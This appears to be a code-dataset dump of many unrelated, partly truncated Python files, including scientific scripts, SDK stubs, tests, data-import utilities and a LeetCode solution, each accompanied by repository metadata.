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badc6e29375c645c1b28d9cf77087170e354ff44 | 10,938 | py | Python | pychemy/tests/test_peptide_sets.py | benjiec/pychemy | 0b496b158ad48defc61a9688c91ce676e1f6a8a4 | [
"MIT"
] | 7 | 2015-04-16T21:46:50.000Z | 2020-09-20T13:49:37.000Z | pychemy/tests/test_peptide_sets.py | timgc/pychemy | d45450ad11c93a3e06d80f8f2bd72777b77a1272 | [
"MIT"
] | 6 | 2015-01-20T15:21:41.000Z | 2017-04-12T19:03:15.000Z | pychemy/tests/test_peptide_sets.py | timgc/pychemy | d45450ad11c93a3e06d80f8f2bd72777b77a1272 | [
"MIT"
] | 6 | 2015-01-15T14:36:11.000Z | 2017-07-21T13:38:17.000Z | import unittest
AA_dict = {1:'A', 2:'C', 3:'D', 4:'E', 5:'F', 6:'G', 7:'H', 8:'I', 9:'L', 10:'K',
11:'M', 12:'N', 13:'P', 14:'Q', 15:'R', 16:'S', 17:'T', 18:'V', 19:'W', 20:'Y'}
###############################
if __name__ == '__main__':
unittest.main()
| 40.813433 | 121 | 0.665661 | import unittest, tempfile, os
from pychemy.peptide_sets import *
import random
import numpy as np
AA_dict = {1:'A', 2:'C', 3:'D', 4:'E', 5:'F', 6:'G', 7:'H', 8:'I', 9:'L', 10:'K',
11:'M', 12:'N', 13:'P', 14:'Q', 15:'R', 16:'S', 17:'T', 18:'V', 19:'W', 20:'Y'}
def gen_protein(num_AA = 20):
out = ''
for... | 0 | 0 | 0 | 10,404 | 0 | 127 | 0 | 16 | 113 |
7e13dbb1b3a3aa5363cb1bf11d50b64aa620c142 | 5,757 | py | Python | ptfims/ptfimages.py | rbiswas4/ptfdata | f50efd077bbf091e5108a6c95b0e24e4768ca4e6 | [
"MIT"
] | null | null | null | ptfims/ptfimages.py | rbiswas4/ptfdata | f50efd077bbf091e5108a6c95b0e24e4768ca4e6 | [
"MIT"
] | null | null | null | ptfims/ptfimages.py | rbiswas4/ptfdata | f50efd077bbf091e5108a6c95b0e24e4768ca4e6 | [
"MIT"
] | null | null | null | """
Objects related to data downloads from the public PTF data server. Based on information and examples
in
Should work in python 2 and 3.
"""
from future.standard_library import install_aliases
install_aliases()
__all__ = ['PTFImages']
| 31.459016 | 111 | 0.565225 | """
Objects related to data downloads from the public PTF data server. Based on information and examples
in
Should work in python 2 and 3.
"""
import requests
import pandas as pd
from future.standard_library import install_aliases
install_aliases()
from urllib.request import urlopen
import os
__all__ = ['PTFImages'... | 0 | 3,113 | 0 | 2,298 | 0 | 0 | 0 | -7 | 111 |
1cbfbe88c19bcd6106687fbc596a103924b041e1 | 8,152 | py | Python | analyze-go-test-output.py | knz/go-test-stats | 64cd252e30a8ea8cd1a6f414dfce00c6b5bf92c2 | [
"BSD-3-Clause"
] | null | null | null | analyze-go-test-output.py | knz/go-test-stats | 64cd252e30a8ea8cd1a6f414dfce00c6b5bf92c2 | [
"BSD-3-Clause"
] | null | null | null | analyze-go-test-output.py | knz/go-test-stats | 64cd252e30a8ea8cd1a6f414dfce00c6b5bf92c2 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
import re
import sys
import codecs
inputfile = codecs.open(sys.argv[1], mode='r', encoding='utf-8', errors='replace')
lineprefix = re.compile(r'^(?P<time>\d+)\s+(?P<rss>\d+)\s+(?P<cpu>\d+\.\d+)\s+(?P<th>\d+) (?P<msg>.*)$')
pkgre = re.compile(r'^(?P<result>(?:FAIL|ok |\? ))\tgithub.com/... | 35.137931 | 142 | 0.563788 | #!/usr/bin/env python3
import re
import sys
import codecs
class Trackable:
def __init__(self):
self.last_ts = None
self.time = 0
self.maxcpu = 0.0
self.maxrss = 0
self.maxth = 0
self.nlines = 0
self.nbytes = 0
def update(self, time, rss, cpu, th, nb):
... | 0 | 0 | 0 | 3,236 | 0 | 0 | 0 | 0 | 69 |
ee446f4118c306613174ec62943e5d94d1d16caa | 568 | py | Python | python/restb/sdk/__init__.py | restbai/sdk | d39a2ad828a897c431cae1a8270fee9a3973beda | [
"Apache-2.0"
] | 3 | 2018-10-17T14:16:25.000Z | 2021-08-24T15:05:36.000Z | python/restb/sdk/__init__.py | restbai/sdk | d39a2ad828a897c431cae1a8270fee9a3973beda | [
"Apache-2.0"
] | 1 | 2020-04-30T06:34:15.000Z | 2020-04-30T08:29:54.000Z | python/restb/sdk/__init__.py | restbai/sdk | d39a2ad828a897c431cae1a8270fee9a3973beda | [
"Apache-2.0"
] | 3 | 2018-04-27T08:41:07.000Z | 2021-08-25T11:02:25.000Z | __URL_EU = 'https://api-eu.restb.ai'
__URL_US = 'https://api-us.restb.ai'
__ENDPOINT = '/vision/v2/predict'
__ENDPOINT_MULTIPREDICT = '/vision/v2/multipredict'
__MODELS = [
're_roomtype_global_v2',
're_exterior_styles',
're_features_v3',
're_logo',
're_appliances_v2',
're_compliance',
're_co... | 18.933333 | 51 | 0.637324 | __URL_EU = 'https://api-eu.restb.ai'
__URL_US = 'https://api-us.restb.ai'
__ENDPOINT = '/vision/v2/predict'
__ENDPOINT_MULTIPREDICT = '/vision/v2/multipredict'
__MODELS = [
're_roomtype_global_v2',
're_exterior_styles',
're_features_v3',
're_logo',
're_appliances_v2',
're_compliance',
're_co... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
7df64d610ab8de5462e95353380398072838bf85 | 2,454 | py | Python | normalized_and_show.py | GhozyElFatih/Skripsi-Automatic-Velocity-Pick-Seismic-Reflection-Using-CNN | 438e8d950546bf3668cc37a86914187f1b5f23c8 | [
"Apache-2.0"
] | 3 | 2021-07-24T10:34:39.000Z | 2022-03-28T06:40:36.000Z | normalized_and_show.py | GhozyElFatih/Skripsi-Automatic-Velocity-Pick-Seismic-Reflection-Using-CNN | 438e8d950546bf3668cc37a86914187f1b5f23c8 | [
"Apache-2.0"
] | null | null | null | normalized_and_show.py | GhozyElFatih/Skripsi-Automatic-Velocity-Pick-Seismic-Reflection-Using-CNN | 438e8d950546bf3668cc37a86914187f1b5f23c8 | [
"Apache-2.0"
] | 2 | 2021-08-12T23:46:31.000Z | 2022-01-24T14:24:15.000Z | # -*- coding: utf-8 -*-
"""
Created on Wed Jun 9 14:01:42 2021
@author: Ghozy El Fatih
"""
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import scipy.interpolate as inter
from PIL import Image
#load gambar semblance
path_gambar = "IMAGE_PATH\\"
path_pick = "PICK_PATH\\normpick"... | 27.266667 | 119 | 0.643439 | # -*- coding: utf-8 -*-
"""
Created on Wed Jun 9 14:01:42 2021
@author: Ghozy El Fatih
"""
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import scipy.interpolate as inter
from PIL import Image
#load gambar semblance
path_gambar = "IMAGE_PATH\\"
path_pick = "PICK_PATH\\normpick"... | 0 | 0 | 0 | 0 | 0 | 124 | 0 | 0 | 23 |
18c6dc15b1e208d0df26cb6354275f4f274f6602 | 957 | py | Python | Site_Visit_2.0/venv/lib/python3.7/site-packages/google_streetview/__init__.py | opacichjj/FEMA-PDA-and-Route-Optimizer | d79468438f45216d5abeef5f5037d6a165f61140 | [
"MIT"
] | null | null | null | Site_Visit_2.0/venv/lib/python3.7/site-packages/google_streetview/__init__.py | opacichjj/FEMA-PDA-and-Route-Optimizer | d79468438f45216d5abeef5f5037d6a165f61140 | [
"MIT"
] | null | null | null | Site_Visit_2.0/venv/lib/python3.7/site-packages/google_streetview/__init__.py | opacichjj/FEMA-PDA-and-Route-Optimizer | d79468438f45216d5abeef5f5037d6a165f61140 | [
"MIT"
] | 2 | 2019-08-11T03:34:07.000Z | 2019-10-25T16:57:48.000Z | # -*- coding: utf-8 -*-
__name__ = 'google_streetview'
__author__ = 'Richard Wen'
__email__ = 'rrwen.dev@gmail.com'
__version__ = '1.2.9'
__license__ = 'MIT'
__description__ = 'A command line tool and module for Google Street View Image API.'
__long_description_content_type__='text/markdown'
__keywords__ = [
... | 23.925 | 88 | 0.661442 | # -*- coding: utf-8 -*-
__name__ = 'google_streetview'
__author__ = 'Richard Wen'
__email__ = 'rrwen.dev@gmail.com'
__version__ = '1.2.9'
__license__ = 'MIT'
__description__ = 'A command line tool and module for Google Street View Image API.'
__long_description_content_type__='text/markdown'
__keywords__ = [
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1eed03c51ed8db36a2820c373473c253728f62ea | 123 | py | Python | projects/oldProyects/workStress/configuration/workload_settings.py | GGP00/soba | c193f323f26eccf579a454b8bb4bec4e80644444 | [
"MIT"
] | 1 | 2017-03-06T12:33:02.000Z | 2017-03-06T12:33:02.000Z | projects/oldProyects/workStress/configuration/workload_settings.py | GGP00/soba | c193f323f26eccf579a454b8bb4bec4e80644444 | [
"MIT"
] | 3 | 2017-04-26T08:57:35.000Z | 2019-04-24T08:28:24.000Z | projects/oldProyects/workStress/configuration/workload_settings.py | GGP00/soba | c193f323f26eccf579a454b8bb4bec4e80644444 | [
"MIT"
] | 1 | 2019-01-20T17:39:00.000Z | 2019-01-20T17:39:00.000Z |
task_estimated_time = 25 # minutes
tasks_arriving_distribution_params = 20, 6 # normal distribution with mean 20 and sd 6
| 30.75 | 86 | 0.804878 |
task_estimated_time = 25 # minutes
tasks_arriving_distribution_params = 20, 6 # normal distribution with mean 20 and sd 6
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
490619810fdcb1508202ace900b9fb1de251191e | 358 | py | Python | exercicios/tuplas/desafio72.py | costagguilherme/python-desafios | 404b4a8924a2895a97d3cea99e1325e46d9aee39 | [
"MIT"
] | null | null | null | exercicios/tuplas/desafio72.py | costagguilherme/python-desafios | 404b4a8924a2895a97d3cea99e1325e46d9aee39 | [
"MIT"
] | null | null | null | exercicios/tuplas/desafio72.py | costagguilherme/python-desafios | 404b4a8924a2895a97d3cea99e1325e46d9aee39 | [
"MIT"
] | null | null | null | a = ('zero', 'um', 'dois', 'trs', 'quatro', 'cinco', 'seis', 'sete', 'oito', 'nove', 'dez', 'onze', 'doze', 'treze', 'cartoze', 'quinze')
n = int(input('DIGITE UM NMERO DE 0 A 15: '))
if n > 15 or n < 0:
while True:
n = int(input('DIGITE UM NMERO DE 0 A 15: '))
if 0 <= n <= 15:
break
pri... | 44.75 | 138 | 0.513966 | a = ('zero', 'um', 'dois', 'três', 'quatro', 'cinco', 'seis', 'sete', 'oito', 'nove', 'dez', 'onze', 'doze', 'treze', 'cartoze', 'quinze')
n = int(input('DIGITE UM NÚMERO DE 0 A 15: '))
if n > 15 or n < 0:
while True:
n = int(input('DIGITE UM NÚMERO DE 0 A 15: '))
if 0 <= n <= 15:
break
... | 10 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
2eb2d362919c329715fd21a58405ff4a02c3c106 | 1,075 | py | Python | src/main/python/daggit/core/operators/operators_registry.py | SMYALTAMASH/sunbird-ml-workbench | d7a92e77cab89b5b720c2ac1b013d611c76b1636 | [
"MIT"
] | null | null | null | src/main/python/daggit/core/operators/operators_registry.py | SMYALTAMASH/sunbird-ml-workbench | d7a92e77cab89b5b720c2ac1b013d611c76b1636 | [
"MIT"
] | null | null | null | src/main/python/daggit/core/operators/operators_registry.py | SMYALTAMASH/sunbird-ml-workbench | d7a92e77cab89b5b720c2ac1b013d611c76b1636 | [
"MIT"
] | null | null | null | import os
testdir = os.path.dirname(os.path.realpath("__file__"))
srcdir = 'src/main/python/daggit'
abs_path = os.path.join(testdir, srcdir)
| 35.833333 | 85 | 0.605581 | import importlib
import os
testdir = os.path.dirname(os.path.realpath("__file__"))
srcdir = 'src/main/python/daggit'
abs_path = os.path.join(testdir, srcdir)
def get_op_callable(operator, module_path=None):
if module_path:
module = importlib.import_module(module_path)
return getattr(module, opera... | 0 | 0 | 0 | 0 | 0 | 892 | 0 | -5 | 45 |
a94b1427bfaba70e4767ee6292e3e96846691f1c | 932 | py | Python | setup.py | sonwanesuresh95/rfm | f72d9fd672c6394ccef058698e2f6c9d87ebcea9 | [
"MIT"
] | 2 | 2022-02-13T14:54:06.000Z | 2022-02-13T16:14:17.000Z | setup.py | sonwanesuresh95/rfm | f72d9fd672c6394ccef058698e2f6c9d87ebcea9 | [
"MIT"
] | null | null | null | setup.py | sonwanesuresh95/rfm | f72d9fd672c6394ccef058698e2f6c9d87ebcea9 | [
"MIT"
] | null | null | null | import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="rfm",
version="1.0.7",
author="Suresh Sonwane",
author_email="sonwanesuresh739@gmail.com",
description="Python Package for RFM Analysis and Customer Segmentatio... | 33.285714 | 77 | 0.63412 | import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="rfm",
version="1.0.7",
author="Suresh Sonwane",
author_email="sonwanesuresh739@gmail.com",
description="Python Package for RFM Analysis and Customer Segmentatio... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
554833401b3b1ccb1b26746f60dab3c1b0d0da9b | 639 | py | Python | code/histogram2.py | josemac95/umucv | f0f8de17141f4adcb4966281c3f83539ebda5f0b | [
"BSD-3-Clause"
] | null | null | null | code/histogram2.py | josemac95/umucv | f0f8de17141f4adcb4966281c3f83539ebda5f0b | [
"BSD-3-Clause"
] | null | null | null | code/histogram2.py | josemac95/umucv | f0f8de17141f4adcb4966281c3f83539ebda5f0b | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt
cap = cv.VideoCapture(0)
plt.ion()
fig = plt.figure(figsize=(10,3))
fig.suptitle('histogram')
ax = fig.add_axes([-0.25,0,1,1])
im = ax.imshow(np.zeros((480,640)),'gray',vmin=0,vmax=255)
ax.set_axis_off();
ax2 = fig.add_axes([... | 17.75 | 58 | 0.633803 | #!/usr/bin/env python
import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt
cap = cv.VideoCapture(0)
plt.ion()
fig = plt.figure(figsize=(10,3))
fig.suptitle('histogram')
ax = fig.add_axes([-0.25,0,1,1])
im = ax.imshow(np.zeros((480,640)),'gray',vmin=0,vmax=255)
ax.set_axis_off();
ax2 = fig.add_axes([... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3764428cb40418d1bea243daa485fb13b1170b84 | 1,735 | py | Python | persianas_paludo/src/webapps/render_admin.py | ProfessionalIT/customers | 3dbc1989bb3494fb6de7edad67dc59b7b0385ac3 | [
"MIT"
] | null | null | null | persianas_paludo/src/webapps/render_admin.py | ProfessionalIT/customers | 3dbc1989bb3494fb6de7edad67dc59b7b0385ac3 | [
"MIT"
] | 1 | 2015-11-08T11:49:35.000Z | 2015-11-08T11:49:43.000Z | persianas_paludo/src/webapps/render_admin.py | ProfessionalIT/customers | 3dbc1989bb3494fb6de7edad67dc59b7b0385ac3 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
from web import template
import os
rootpath = os.path.abspath(os.path.dirname(__file__))
admin_template_path = template.render(rootpath + '/templates/admin', cache=False)
| 44.487179 | 190 | 0.720461 | #!/usr/bin/python
# -*- coding: utf-8 -*-
from web import template
from configuration import WEBSITE_NAME, ADMIN_VERSION
from auth import get_logged_user, get_logoff_url
from model import get_exposed_managed_tables
import os
rootpath = os.path.abspath(os.path.dirname(__file__))
admin_template_path = templat... | 0 | 0 | 0 | 0 | 0 | 1,211 | 0 | 82 | 219 |
b51ed79dae925590265e59bda7e40da317ae77a7 | 24 | py | Python | smop/version.py | pokepocky/smop | f6c1aa037be8511d29fa014c9ed1fbf50e4cc3d5 | [
"MIT"
] | 961 | 2015-01-26T09:23:52.000Z | 2022-03-31T15:02:53.000Z | smop/version.py | SylivanKenobi/smop | 1bd8da0a5fc9c2b1e11b2225cbfd48d031338413 | [
"MIT"
] | 109 | 2015-02-02T15:38:35.000Z | 2022-02-26T17:30:59.000Z | smop/version.py | SylivanKenobi/smop | 1bd8da0a5fc9c2b1e11b2225cbfd48d031338413 | [
"MIT"
] | 432 | 2015-01-09T22:51:59.000Z | 2022-03-24T03:52:18.000Z | __version__='0.41-beta'
| 12 | 23 | 0.75 | __version__='0.41-beta'
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a231d1ef70774edb07cc728aa587a4c927381f7d | 5,581 | py | Python | Data-Store/log_csv_to_influx.py | prashnts/MPU-9250 | 29b0223ef5a0cfe5e68b09c752478f445ecc2629 | [
"MIT"
] | null | null | null | Data-Store/log_csv_to_influx.py | prashnts/MPU-9250 | 29b0223ef5a0cfe5e68b09c752478f445ecc2629 | [
"MIT"
] | null | null | null | Data-Store/log_csv_to_influx.py | prashnts/MPU-9250 | 29b0223ef5a0cfe5e68b09c752478f445ecc2629 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import serial
import click
import platform
import glob
import json
import signal
import sys
from itertools import cycle
from influxdb import InfluxDBClient
serial_port = serial.Serial()
client = None
progress_pool = cycle(["_ ", "__ ", "___"])
def open_serial_port(baud... | 31.891429 | 115 | 0.501165 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import serial
import click
import platform
import glob
import json
import signal
import sys
from itertools import cycle
from influxdb import InfluxDBClient
serial_port = serial.Serial()
client = None
progress_pool = cycle(["_ ", "__ ", "___"])
@click.command()
@click.o... | 0 | 1,087 | 0 | 0 | 0 | 0 | 0 | 0 | 23 |
f66fdc33c2ab615ae856da99d08f9b8afc21fa33 | 3,576 | py | Python | libcloud/test/storage/test_rgw.py | rgharris/libcloud | 90971e17bfd7b6bb97b2489986472c531cc8e140 | [
"Apache-2.0"
] | null | null | null | libcloud/test/storage/test_rgw.py | rgharris/libcloud | 90971e17bfd7b6bb97b2489986472c531cc8e140 | [
"Apache-2.0"
] | 1 | 2021-12-06T12:29:13.000Z | 2021-12-06T12:29:13.000Z | libcloud/test/storage/test_rgw.py | rgharris/libcloud | 90971e17bfd7b6bb97b2489986472c531cc8e140 | [
"Apache-2.0"
] | 1 | 2019-08-05T10:12:02.000Z | 2019-08-05T10:12:02.000Z | # Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use ... | 36.865979 | 83 | 0.744407 | # Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use ... | 0 | 234 | 0 | 2,098 | 0 | 0 | 0 | 192 | 181 |
eff9dee89b87dcc9b432a833a6cd426e6cf3b727 | 4,714 | py | Python | pyneval/metric/utils/klib/glib/Writer.py | SupermeLC/PyNeval | 2cccfb1af7d97857454e9cbc3515ba75e5d8d4b0 | [
"BSD-3-Clause"
] | 12 | 2020-07-18T16:55:23.000Z | 2022-03-14T12:26:08.000Z | pyneval/metric/utils/klib/glib/Writer.py | SupermeLC/PyNeval | 2cccfb1af7d97857454e9cbc3515ba75e5d8d4b0 | [
"BSD-3-Clause"
] | 5 | 2021-05-31T22:08:51.000Z | 2021-08-31T15:42:44.000Z | pyneval/metric/utils/klib/glib/Writer.py | SupermeLC/PyNeval | 2cccfb1af7d97857454e9cbc3515ba75e5d8d4b0 | [
"BSD-3-Clause"
] | 2 | 2021-09-24T03:02:27.000Z | 2021-11-09T06:21:00.000Z | """Converts images to TFRecords file format with Example protos."""
import tensorflow as tf
def convertTo(
input_path_list,
output_path,
class_label_file_path,
organize_type,
is_3d=False,
resize=False,
new_size=None,
number=None):
''' create tfrecords file
input_path_list (stri... | 30.61039 | 107 | 0.522486 | """Converts images to TFRecords file format with Example protos."""
import os
import sys
import glob
import json
import tensorflow as tf
from PIL import Image
import tifffile
import numpy as np
import Utils
from Label import class2label
def _int64_feature(value):
return tf.train.Feature(int64_list=tf.train.Int64L... | 0 | 0 | 0 | 0 | 2,067 | 158 | 0 | -53 | 268 |
b182bb0a90f70e58864aa0547270a6ef6118570b | 12,029 | py | Python | nxjiggle.py | henrycousins/nxviz | f198abcf0dcd6076a0488026454599e574d91812 | [
"MIT"
] | null | null | null | nxjiggle.py | henrycousins/nxviz | f198abcf0dcd6076a0488026454599e574d91812 | [
"MIT"
] | null | null | null | nxjiggle.py | henrycousins/nxviz | f198abcf0dcd6076a0488026454599e574d91812 | [
"MIT"
] | null | null | null | import glob as glob
# import scipy.stats
# import seaborn as sns
# from sklearn import metrics as skm
# import os
# import numpy as np
# import pandas as pd
# import glob as glob
# import matplotlib.pyplot as plt
# # import scipy.stats
# # import seaborn as sns
# # from sklearn import metrics as skm
# import math... | 31.244156 | 107 | 0.614349 | import os
import numpy as np
import pandas as pd
import glob as glob
import matplotlib.pyplot as plt
# import scipy.stats
# import seaborn as sns
# from sklearn import metrics as skm
import math
from collections import Counter
import networkx as nx
import matplotlib.lines as mlines
from itertools import combinations
im... | 0 | 0 | 0 | 0 | 0 | 4,717 | 0 | 14 | 450 |
fc9b84923f35af717f9f21aed7a6365e3de00e9c | 3,704 | py | Python | tcfcli/cmds/configure/add/cli.py | tencentyun/scfcli | ef15508ad34a851cf0d2750dfaa5202f6a600887 | [
"Apache-2.0"
] | 103 | 2019-06-11T06:09:56.000Z | 2021-12-18T22:48:59.000Z | tcfcli/cmds/configure/add/cli.py | TencentCloud/Serverless-cli | 57f98b24cfd10712770a4806212cfb69d981a11a | [
"Apache-2.0"
] | 8 | 2019-07-12T12:08:40.000Z | 2020-10-20T07:18:17.000Z | tcfcli/cmds/configure/add/cli.py | TencentCloud/Serverless-cli | 57f98b24cfd10712770a4806212cfb69d981a11a | [
"Apache-2.0"
] | 49 | 2019-06-11T06:26:05.000Z | 2020-02-19T08:13:36.000Z | # -*- coding: utf-8 -*-
import platform
import tcfcli.common.base_infor as infor
version = platform.python_version()
if version >= '3':
REGIONS = infor.REGIONS
| 37.04 | 134 | 0.559125 | # -*- coding: utf-8 -*-
import click
import platform
import tcfcli.common.base_infor as infor
from tcfcli.help.message import ConfigureHelp as help
from tcfcli.common.user_config import UserConfig
from tcfcli.common.operation_msg import Operation
version = platform.python_version()
if version >= '3':
from functoo... | 0 | 3,287 | 0 | 0 | 0 | 6 | 0 | 85 | 161 |
ba82528a0f42d23f98e41a9048c283ba45dd1e41 | 296 | py | Python | class4/exercise4.py | papri-entropy/pyplus | 9791fa6ee0b5414912594e20db0390f8a65c91fc | [
"MIT"
] | null | null | null | class4/exercise4.py | papri-entropy/pyplus | 9791fa6ee0b5414912594e20db0390f8a65c91fc | [
"MIT"
] | null | null | null | class4/exercise4.py | papri-entropy/pyplus | 9791fa6ee0b5414912594e20db0390f8a65c91fc | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
4. Use TextFSM to parse the 'show arp' output from a Juniper SRX (see link below).
Extract the following fields into tabular data: MAC Address, Address, Name, Interface.
https://github.com/ktbyers/pyplus_course/blob/master/class4/exercises/ex4_junos_show_arp.txt
"""
| 32.888889 | 92 | 0.763514 | #!/usr/bin/env python
"""
4. Use TextFSM to parse the 'show arp' output from a Juniper SRX (see link below).
Extract the following fields into tabular data: MAC Address, Address, Name, Interface.
https://github.com/ktbyers/pyplus_course/blob/master/class4/exercises/ex4_junos_show_arp.txt
"""
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
7900ba4754c926164dd2748f4d59fd2fbccbf00f | 8,660 | py | Python | resolwe_bio/processes/import_data/basespace.py | plojyon/resolwe-bio | 45d001a78fcc387b5e3239a34c9da7f40d789022 | [
"Apache-2.0"
] | null | null | null | resolwe_bio/processes/import_data/basespace.py | plojyon/resolwe-bio | 45d001a78fcc387b5e3239a34c9da7f40d789022 | [
"Apache-2.0"
] | null | null | null | resolwe_bio/processes/import_data/basespace.py | plojyon/resolwe-bio | 45d001a78fcc387b5e3239a34c9da7f40d789022 | [
"Apache-2.0"
] | null | null | null | """Import a file from Illumina BaseSpace."""
import gzip
import os
import time
from requests import RequestException
def download_file_repeatedly(
tries, session, file_id, file_name, expected_file_size, request_headers, error
):
"""Attempt to download BaseSpace file numerous times in case of errors."""
... | 31.376812 | 95 | 0.588337 | """Import a file from Illumina BaseSpace."""
import atexit
import gzip
import os
import time
import traceback
from pathlib import Path
from requests import RequestException, Session
from resolwe.process import (
BooleanField,
FileField,
GroupField,
IntegerField,
Persistence,
Process,
Secr... | 0 | 0 | 0 | 4,032 | 0 | 0 | 0 | 140 | 136 |
0719682377cb262b97f21fa7de66ec6aca54b249 | 3,181 | py | Python | parse_wiki.py | woctezuma/humble-monthly | 655b42a452f4db168d03ebb146196940822687d6 | [
"MIT"
] | 3 | 2019-03-11T12:35:53.000Z | 2021-09-11T18:14:09.000Z | parse_wiki.py | woctezuma/humble-monthly | 655b42a452f4db168d03ebb146196940822687d6 | [
"MIT"
] | 41 | 2018-06-06T21:11:48.000Z | 2022-02-01T19:46:16.000Z | parse_wiki.py | woctezuma/humble-monthly | 655b42a452f4db168d03ebb146196940822687d6 | [
"MIT"
] | null | null | null |
if __name__ == '__main__':
filename = 'data/wiki_humble_monthly.txt'
verbose = True
bundles = build_dictionary(filename, verbose)
print(bundles)
| 29.453704 | 102 | 0.638478 | import re
def load_wiki_file(fname):
with open(fname, encoding='utf8') as f:
lines = [l.strip() for l in f.readlines()]
return lines
def parse_bundle_name(wiki_str):
# Tokenize
wiki_tokens = re.split('\|', wiki_str)
bundle_name_prefix = 'Bundle='
# Find the token corresponding to ... | 0 | 0 | 0 | 0 | 0 | 2,912 | 0 | -12 | 114 |
d52c98485e83b7d36f5dea9869ebad3affbd4222 | 140 | py | Python | pyaz/mysql/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/mysql/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/mysql/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | 1 | 2022-02-03T09:12:01.000Z | 2022-02-03T09:12:01.000Z | '''
Manage Azure Database for MySQL servers.
'''
from .. pyaz_utils import _call_az
| 20 | 54 | 0.757143 | '''
Manage Azure Database for MySQL servers.
'''
from .. pyaz_utils import _call_az
from . import db, flexible_server, server, server_logs
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 33 | 22 |
b3f3a1548b2bc6caf79b557abc8eb38c923388f1 | 3,277 | py | Python | generate_feats1.py | mohsinkhn/ltfs-av | 43077049b817e6eb0a8a8a2bf0177c9a1d9940d0 | [
"MIT"
] | 5 | 2019-04-26T20:07:30.000Z | 2021-02-04T20:24:34.000Z | generate_feats1.py | mohsinkhn/ltfs-av | 43077049b817e6eb0a8a8a2bf0177c9a1d9940d0 | [
"MIT"
] | null | null | null | generate_feats1.py | mohsinkhn/ltfs-av | 43077049b817e6eb0a8a8a2bf0177c9a1d9940d0 | [
"MIT"
] | 1 | 2019-04-29T09:45:12.000Z | 2019-04-29T09:45:12.000Z | from pathlib import Path
from utils import read_data
from config import UTILITY
if __name__=="__main__":
print("Reading data")
train = read_data("train")
test = read_data("test")
print("preprocess data")
train, test = preprocess_data(train, test)
print("Generating extra feature... | 41.481013 | 118 | 0.683552 | import pandas as pd
import numpy as np
from pathlib import Path
from sklearn.preprocessing import QuantileTransformer, StandardScaler, LabelEncoder
from utils import read_data
from config import UTILITY
def preprocess_data(train , test):
lbl = LabelEncoder()
train["cns_desc"] = lbl.fit_transform(train["PERF... | 0 | 0 | 0 | 0 | 0 | 1,952 | 0 | 57 | 159 |
9f23764bed3fe6abe03a4a30739c191dd08836b0 | 1,073 | py | Python | config.py | JeyDi/GameOfLife | 963d2d084e82321eb814e07d146af9af4e6106ff | [
"MIT"
] | null | null | null | config.py | JeyDi/GameOfLife | 963d2d084e82321eb814e07d146af9af4e6106ff | [
"MIT"
] | null | null | null | config.py | JeyDi/GameOfLife | 963d2d084e82321eb814e07d146af9af4e6106ff | [
"MIT"
] | null | null | null | import os
# Set the logs
VERBOSITY = os.getenv(
"VERBOSITY", "debug"
) # info as default, #debug for local dev
LOG_PATH = os.getenv("LOG_PATH", "./logs")
# Define the logs
# Set verbosity
ROWS = 40
COLUMNS = 40
MAX_PROB = 2
MAX_TICK = 60
| 24.953488 | 91 | 0.580615 | import os
import logging
from logging.handlers import RotatingFileHandler
# Set the logs
VERBOSITY = os.getenv(
"VERBOSITY", "debug"
) # info as default, #debug for local dev
LOG_PATH = os.getenv("LOG_PATH", "./logs")
# Define the logs
# Set verbosity
def configure_logging(verbosity=VERBOSITY, log_path=LOG_PAT... | 0 | 0 | 0 | 0 | 0 | 738 | 0 | 20 | 66 |
7cf55ebe1e6cab7576145b36cea9f7fb4961dc39 | 587 | py | Python | LeetCodeSolutions/python/6_ZigZag_Conversion.py | ChuanleiGuo/AlgorithmsPlayground | 90b6287b742c8bfd3797540c408d679be2821a40 | [
"MIT"
] | 1 | 2017-03-27T13:38:37.000Z | 2017-03-27T13:38:37.000Z | LeetCodeSolutions/python/6_ZigZag_Conversion.py | ChuanleiGuo/AlgorithmsPlayground | 90b6287b742c8bfd3797540c408d679be2821a40 | [
"MIT"
] | null | null | null | LeetCodeSolutions/python/6_ZigZag_Conversion.py | ChuanleiGuo/AlgorithmsPlayground | 90b6287b742c8bfd3797540c408d679be2821a40 | [
"MIT"
] | null | null | null |
str = 'ABC'
print Solution().convert(str, 1) | 24.458333 | 54 | 0.410562 | class Solution(object):
def convert(self, s, numRows):
"""
:type s: str
:type numRows: int
:rtype: str
"""
if numRows <= 1 or numRows >= len(s): return s
strs = [''] * numRows
row, step = 0, 1
for i in range(len(s)):
